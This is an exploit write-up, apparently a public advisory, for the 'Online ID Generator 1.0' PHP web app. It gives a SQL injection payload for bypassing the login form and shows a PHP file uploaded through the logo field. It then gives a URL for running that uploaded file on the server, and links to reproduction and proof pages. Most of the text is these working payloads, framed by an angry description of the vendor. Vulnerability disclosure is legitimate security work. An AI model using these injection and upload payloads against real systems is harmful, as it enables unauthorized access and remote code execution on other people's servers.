## Title: Online-ID-Generator-1.0-SQLi-Bypass-login-ShellUpload-RCE
## Author: nu11secur1ty
## Date: 08/31/2023
## Vendor: https://www.youtube.com/watch?v=JdB9_po5DTc
## Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/id_generator_0.zip
## Reference: https://portswigger.net/web-security/sql-injection
## Reference: https://portswigger.net/web-security/file-upload
## Reference: https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload


## Description:
hat-trick: The system of this pseudo developer is vulnerable to SQLi,
Shell Upload, and RCE at the same time.
This system must be terminated. To all users who like and follow this
person: Please STOPT DOING THIS!
THIS WILL BE YOUR RESPONSIBLE WHEN YOU LOSE MONEY OR WHATEVER
IMPORTANT FOR YOU! BR @nu11secur1ty


STATUS: HIGH-CRITICAL Vulnerability

[+]Bypass login SQLi:
# In login form, for user:

```mysql
nu11secur1ty' or 1=1#
```

[+]Shell Upload exploit:
## For system logo:
```php
<?php
  phpinfo();
?>
```
[+]RCE Exploit
## Execution from the remote browser:
```URLhttp://localhost/id_generator/uploads/1693471560_info.php
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Online-ID-Generator-1.0)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/08/online-id-generator-10-sqli-bypass.html)

## Time spend:
00:10:00